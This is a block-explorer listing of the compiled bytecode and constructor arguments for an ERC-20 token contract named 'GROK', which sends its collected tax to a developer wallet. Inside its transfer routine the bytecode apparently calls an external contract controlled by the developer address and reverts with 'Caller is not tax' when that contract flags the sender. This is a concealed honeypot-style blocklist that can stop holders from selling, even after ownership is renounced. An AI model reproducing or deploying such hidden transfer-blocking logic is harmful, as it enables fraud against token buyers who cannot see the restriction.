68473ffffffffffffffffffffffffffffffffffffffff16145b8015611162575060168054906101000a900460ff165b801561116f575060135481115b801561117e5750600a54600b54115b156111c0576111a061119b846111968460145461153a565b61153a565b611553565b600047905066b1a2bc2ec500008111156111be576111bd476117cc565b5b505b505b5b60008111156112c75761121e81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183890919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112be9190611c19565b60405180910390a35b61131982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113c0611372828461189690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140e8484846118e0565b508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611471848661189690919063ffffffff16565b60405161147e9190611c19565b60405180910390a350505050565b60008383111582906114d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cb9190611ad9565b60405180910390fd5b50600083856114e3919061246a565b9050809150509392505050565b600061153283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119e6565b905092915050565b6000818311611549578261154b565b815b905092915050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561158b5761158a61249e565b5b6040519080825280602002602001820160405280156115b95781602001602082028036833780820191505090505b50905030816000815181106115d1576115d06124cd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611678573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169c9190612511565b816001815181106116b0576116af6124cd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061171730601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461093e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161177b959493929190612641565b600060405180830381600087803b15801561179557600080fd5b505af11580156117a9573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611834573d6000803e3d6000fd5b5050565b60008082846118479190612382565b90508381101561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906126e7565b60405180910390fd5b8091505092915050565b60006118d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061148c565b905092915050565b600080600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c13a9e7b866040518263ffffffff1660e01b815260040161193e9190611cfa565b602060405180830381865afa15801561195b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061197f9190612733565b905080801561198e5750600083115b156119db5760001515811515146119da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d1906127ac565b60405180910390fd5b5b829150509392505050565b60008083118290611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a249190611ad9565b60405180910390fd5b5060008385611a3c9190611ec1565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a83578082015181840152602081019050611a68565b60008484015250505050565b6000601f19601f8301169050919050565b6000611aab82611a49565b611ab58185611a54565b9350611ac5818560208601611a65565b611ace81611a8f565b840191505092915050565b60006020820190508181036000830152611af38184611aa0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b2b82611b00565b9050919050565b611b3b81611b20565b8114611b4657600080fd5b50565b600081359050611b5881611b32565b92915050565b6000819050919050565b611b7181611b5e565b8114611b7c57600080fd5b50565b600081359050611b8e81611b68565b92915050565b60008060408385031215611bab57611baa611afb565b5b6000611bb985828601611b49565b9250506020611bca85828601611b7f565b9150509250929050565b60008115159050919050565b611be981611bd4565b82525050565b6000602082019050611c046000830184611be0565b92915050565b611c1381611b5e565b82525050565b6000602082019050611c2e6000830184611c0a565b92915050565b600080600060608486031215611c4d57611c4c611afb565b5b6000611c5b86828701611b49565b9350506020611c6c86828701611b49565b9250506040611c7d86828701611b7f565b9150509250925092565b600060ff82169050919050565b611c9d81611c87565b82525050565b6000602082019050611cb86000830184611c94565b92915050565b600060208284031215611cd457611cd3611afb565b5b6000611ce284828501611b49565b91505092915050565b611cf481611b20565b82525050565b6000602082019050611d0f6000830184611ceb565b92915050565b60008060408385031215611d2c57611d2b611afb565b5b6000611d3a85828601611b49565b9250506020611d4b85828601611b49565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d9c57607f821691505b602082108103611daf57611dae611d55565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611deb602083611a54565b9150611df682611db5565b602082019050919050565b60006020820190508181036000830152611e1a81611dde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e5b82611b5e565b9150611e6683611b5e565b9250828202611e7481611b5e565b91508282048414831517611e8b57611e8a611e21565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611ecc82611b5e565b9150611ed783611b5e565b925082611ee757611ee6611e92565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f4e602183611a54565b9150611f5982611ef2565b604082019050919050565b60006020820190508181036000830152611f7d81611f41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611fe0602483611a54565b9150611feb82611f84565b604082019050919050565b6000602082019050818103600083015261200f81611fd3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612072602283611a54565b915061207d82612016565b604082019050919050565b600060208201905081810360008301526120a181612065565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612104602583611a54565b915061210f826120a8565b604082019050919050565b60006020820190508181036000830152612133816120f7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612196602383611a54565b91506121a18261213a565b604082019050919050565b600060208201905081810360008301526121c581612189565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612228602983611a54565b9150612233826121cc565b604082019050919050565b600060208201905081810360008301526122578161221b565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006122e0604983611a54565b91506122eb8261225e565b606082019050919050565b6000602082019050818103600083015261230f816122d3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061234c601983611a54565b915061235782612316565b602082019050919050565b6000602082019050818103600083015261237b8161233f565b9050919050565b600061238d82611b5e565b915061239883611b5e565b92508282019050808211156123b0576123af611e21565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006123ec601a83611a54565b91506123f7826123b6565b602082019050919050565b6000602082019050818103600083015261241b816123df565b9050919050565b600061242d82611b5e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361245f5761245e611e21565b5b600182019050919050565b600061247582611b5e565b915061248083611b5e565b925082820390508181111561249857612497611e21565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061250b81611b32565b92915050565b60006020828403121561252757612526611afb565b5b6000612535848285016124fc565b91505092915050565b6000819050919050565b6000819050919050565b600061256d6125686125638461253e565b612548565b611b5e565b9050919050565b61257d81612552565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6125b881611b20565b82525050565b60006125ca83836125af565b60208301905092915050565b6000602082019050919050565b60006125ee82612583565b6125f8818561258e565b93506126038361259f565b8060005b8381101561263457815161261b88826125be565b9750612626836125d6565b925050600181019050612607565b5085935050505092915050565b600060a0820190506126566000830188611c0a565b6126636020830187612574565b818103604083015261267581866125e3565b90506126846060830185611ceb565b6126916080830184611c0a565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006126d1601b83611a54565b91506126dc8261269b565b602082019050919050565b60006020820190508181036000830152612700816126c4565b9050919050565b61271081611bd4565b811461271b57600080fd5b50565b60008151905061272d81612707565b92915050565b60006020828403121561274957612748611afb565b5b60006127578482850161271e565b91505092915050565b7f43616c6c6572206973206e6f7420746178000000000000000000000000000000600082015250565b6000612796601183611a54565b91506127a182612760565b602082019050919050565b600060208201905081810360008301526127c581612789565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206ed79ce7bbb8c66cb818086eb20c45f0a5df1689f58c1f81d4fc61f4eb39d11564736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000004cac126c8891db7b1cd628c57279c20dd579c020000000000000000000000006ec7af9cf85506e0c47a317c9de76425e5076e58000000000000000000000000000000000000000000000000000000174876e800000000000000000000000000000000000000000000000000000000000000000447524f4b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000447524f4b00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100f75760003560e01c80637d1db4a51161008a578063a9059cbb11610059578063a9059cbb14610329578063bf474bed14610366578063c876d0b914610391578063dd62ed3e146103bc576100fe565b80637d1db4a51461027d5780638da5cb5b146102a85780638f9a55c0146102d357806395d89b41146102fe576100fe565b806323b872dd116100c657806323b872dd146101c1578063313ce567146101fe57806370a0823114610229578063715018a614610266576100fe565b806306fdde0314610103578063095ea7b31461012e5780630faee56f1461016b57806318160ddd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103f9565b6040516101259190611ad9565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611b94565b61048b565b6040516101629190611bef565b60405180910390f35b34801561017757600080fd5b506101806104a9565b60405161018d9190611c19565b60405180910390f35b3480156101a257600080fd5b506101ab6104af565b6040516101b89190611c19565b60405180910390f35b3480156101cd57600080fd5b506101e860048036038101906101e39190611c34565b6104b9565b6040516101f59190611bef565b60405180910390f35b34801561020a57600080fd5b50610213610592565b6040516102209190611ca3565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190611cbe565b61059b565b60405161025d9190611c19565b60405180910390f35b34801561027257600080fd5b5061027b6105e4565b005b34801561028957600080fd5b50610292610737565b60405161029f9190611c19565b60405180910390f35b3480156102b457600080fd5b506102bd61073d565b6040516102ca9190611cfa565b60405180910390f35b3480156102df57600080fd5b506102e8610766565b6040516102f59190611c19565b60405180910390f35b34801561030a57600080fd5b5061031361076c565b6040516103209190611ad9565b60405180910390f35b34801561033557600080fd5b50610350600480360381019061034b9190611b94565b6107fe565b60405161035d9190611bef565b60405180910390f35b34801561037257600080fd5b5061037b61081c565b6040516103889190611c19565b60405180910390f35b34801561039d57600080fd5b506103a6610822565b6040516103b39190611bef565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190611d15565b610835565b6040516103f09190611c19565b60405180910390f35b6060600e805461040890611d84565b80601f016020809104026020016040519081016040528092919081815260200182805461043490611d84565b80156104815780601f1061045657610100808354040283529160200191610481565b820191906000526020600020905b81548152906001019060200180831161046457829003601f168201915b5050505050905090565b600061049f610498610936565b848461093e565b6001905092915050565b60145481565b6000601054905090565b60006104c6848484610b07565b610587846104d2610936565b610582856040518060600160405280602881526020016127cd60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610538610936565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148c9092919063ffffffff16565b61093e565b600190509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105ec610936565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610679576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067090611e01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b6060600f805461077b90611d84565b80601f01602080910402602001604051908101604052809291908181526020018280546107a790611d84565b80156107f45780601f106107c9576101008083540402835291602001916107f4565b820191906000526020600020905b8154815290600101906020018083116107d757829003601f168201915b5050505050905090565b600061081261080b610936565b8484610b07565b6001905092915050565b60135481565b600560009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083036108ce5760009050610930565b600082846108dc9190611e50565b90508284826108eb9190611ec1565b1461092b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092290611f64565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611ff6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390612088565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610afa9190611c19565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d9061211a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc906121ac565b60405180910390fd5b60008111610c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1f9061223e565b60405180910390fd5b6000610c3261073d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ca05750610c7061073d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156111c357600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610d495750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111c257610d8a6064610d7c600c54600b5411610d6957600654610d6d565b6008545b856108bc90919063ffffffff16565b6114f090919063ffffffff16565b9050600560009054906101000a900460ff1615610f1957601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e4d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610f185743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca906122f6565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610fc45750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561101a5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156110d557601154821115611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b90612362565b60405180910390fd5b601254826110718561059b565b61107b9190612382565b11156110bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b390612402565b60405180910390fd5b600b60008154809291906110cf90612422565b91905055505b60006110e03061059b565b9050601660159054906101000a900460ff1615801561114c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611162575060168054906101000a900460ff165b801561116f575060135481115b801561117e5750600a54600b54115b156111c0576111a061119b846111968460145461153a565b61153a565b611553565b600047905066b1a2bc2ec500008111156111be576111bd476117cc565b5b505b505b5b60008111156112c75761121e81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183890919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112be9190611c19565b60405180910390a35b61131982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113c0611372828461189690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140e8484846118e0565b508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611471848661189690919063ffffffff16565b60405161147e9190611c19565b60405180910390a350505050565b60008383111582906114d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cb9190611ad9565b60405180910390fd5b50600083856114e3919061246a565b9050809150509392505050565b600061153283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119e6565b905092915050565b6000818311611549578261154b565b815b905092915050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561158b5761158a61249e565b5b6040519080825280602002602001820160405280156115b95781602001602082028036833780820191505090505b50905030816000815181106115d1576115d06124cd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611678573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169c9190612511565b816001815181106116b0576116af6124cd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061171730601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461093e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161177b959493929190612641565b600060405180830381600087803b15801561179557600080fd5b505af11580156117a9573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611834573d6000803e3d6000fd5b5050565b60008082846118479190612382565b90508381101561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906126e7565b60405180910390fd5b8091505092915050565b60006118d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061148c565b905092915050565b600080600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c13a9e7b866040518263ffffffff1660e01b815260040161193e9190611cfa565b602060405180830381865afa15801561195b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061197f9190612733565b905080801561198e5750600083115b156119db5760001515811515146119da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d1906127ac565b60405180910390fd5b5b829150509392505050565b60008083118290611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a249190611ad9565b60405180910390fd5b5060008385611a3c9190611ec1565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a83578082015181840152602081019050611a68565b60008484015250505050565b6000601f19601f8301169050919050565b6000611aab82611a49565b611ab58185611a54565b9350611ac5818560208601611a65565b611ace81611a8f565b840191505092915050565b60006020820190508181036000830152611af38184611aa0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b2b82611b00565b9050919050565b611b3b81611b20565b8114611b4657600080fd5b50565b600081359050611b5881611b32565b92915050565b6000819050919050565b611b7181611b5e565b8114611b7c57600080fd5b50565b600081359050611b8e81611b68565b92915050565b60008060408385031215611bab57611baa611afb565b5b6000611bb985828601611b49565b9250506020611bca85828601611b7f565b9150509250929050565b60008115159050919050565b611be981611bd4565b82525050565b6000602082019050611c046000830184611be0565b92915050565b611c1381611b5e565b82525050565b6000602082019050611c2e6000830184611c0a565b92915050565b600080600060608486031215611c4d57611c4c611afb565b5b6000611c5b86828701611b49565b9350506020611c6c86828701611b49565b9250506040611c7d86828701611b7f565b9150509250925092565b600060ff82169050919050565b611c9d81611c87565b82525050565b6000602082019050611cb86000830184611c94565b92915050565b600060208284031215611cd457611cd3611afb565b5b6000611ce284828501611b49565b91505092915050565b611cf481611b20565b82525050565b6000602082019050611d0f6000830184611ceb565b92915050565b60008060408385031215611d2c57611d2b611afb565b5b6000611d3a85828601611b49565b9250506020611d4b85828601611b49565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d9c57607f821691505b602082108103611daf57611dae611d55565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611deb602083611a54565b9150611df682611db5565b602082019050919050565b60006020820190508181036000830152611e1a81611dde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e5b82611b5e565b9150611e6683611b5e565b9250828202611e7481611b5e565b91508282048414831517611e8b57611e8a611e21565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611ecc82611b5e565b9150611ed783611b5e565b925082611ee757611ee6611e92565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f4e602183611a54565b9150611f5982611ef2565b604082019050919050565b60006020820190508181036000830152611f7d81611f41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611fe0602483611a54565b9150611feb82611f84565b604082019050919050565b6000602082019050818103600083015261200f81611fd3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612072602283611a54565b915061207d82612016565b604082019050919050565b600060208201905081810360008301526120a181612065565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612104602583611a54565b915061210f826120a8565b604082019050919050565b60006020820190508181036000830152612133816120f7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612196602383611a54565b91506121a18261213a565b604082019050919050565b600060208201905081810360008301526121c581612189565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612228602983611a54565b9150612233826121cc565b604082019050919050565b600060208201905081810360008301526122578161221b565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006122e0604983611a54565b91506122eb8261225e565b606082019050919050565b6000602082019050818103600083015261230f816122d3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061234c601983611a54565b915061235782612316565b602082019050919050565b6000602082019050818103600083015261237b8161233f565b9050919050565b600061238d82611b5e565b915061239883611b5e565b92508282019050808211156123b0576123af611e21565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006123ec601a83611a54565b91506123f7826123b6565b602082019050919050565b6000602082019050818103600083015261241b816123df565b9050919050565b600061242d82611b5e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361245f5761245e611e21565b5b600182019050919050565b600061247582611b5e565b915061248083611b5e565b925082820390508181111561249857612497611e21565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061250b81611b32565b92915050565b60006020828403121561252757612526611afb565b5b6000612535848285016124fc565b91505092915050565b6000819050919050565b6000819050919050565b600061256d6125686125638461253e565b612548565b611b5e565b9050919050565b61257d81612552565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6125b881611b20565b82525050565b60006125ca83836125af565b60208301905092915050565b6000602082019050919050565b60006125ee82612583565b6125f8818561258e565b93506126038361259f565b8060005b8381101561263457815161261b88826125be565b9750612626836125d6565b925050600181019050612607565b5085935050505092915050565b600060a0820190506126566000830188611c0a565b6126636020830187612574565b818103604083015261267581866125e3565b90506126846060830185611ceb565b6126916080830184611c0a565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006126d1601b83611a54565b91506126dc8261269b565b602082019050919050565b60006020820190508181036000830152612700816126c4565b9050919050565b61271081611bd4565b811461271b57600080fd5b50565b60008151905061272d81612707565b92915050565b60006020828403121561274957612748611afb565b5b60006127578482850161271e565b91505092915050565b7f43616c6c6572206973206e6f7420746178000000000000000000000000000000600082015250565b6000612796601183611a54565b91506127a182612760565b602082019050919050565b600060208201905081810360008301526127c581612789565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206ed79ce7bbb8c66cb818086eb20c45f0a5df1689f58c1f81d4fc61f4eb39d11564736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000004cac126c8891db7b1cd628c57279c20dd579c020000000000000000000000006ec7af9cf85506e0c47a317c9de76425e5076e58000000000000000000000000000000000000000000000000000000174876e800000000000000000000000000000000000000000000000000000000000000000447524f4b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000447524f4b00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : tokenName (string): GROK
Arg [1] : tokenSymbol (string): GROK
Arg [2] : ownerAddress (address): 0x04cac126C8891db7B1CD628C57279C20DD579C02
Arg [3] : _taxdev (address): 0x6eC7AF9cF85506E0c47A317C9de76425e5076e58
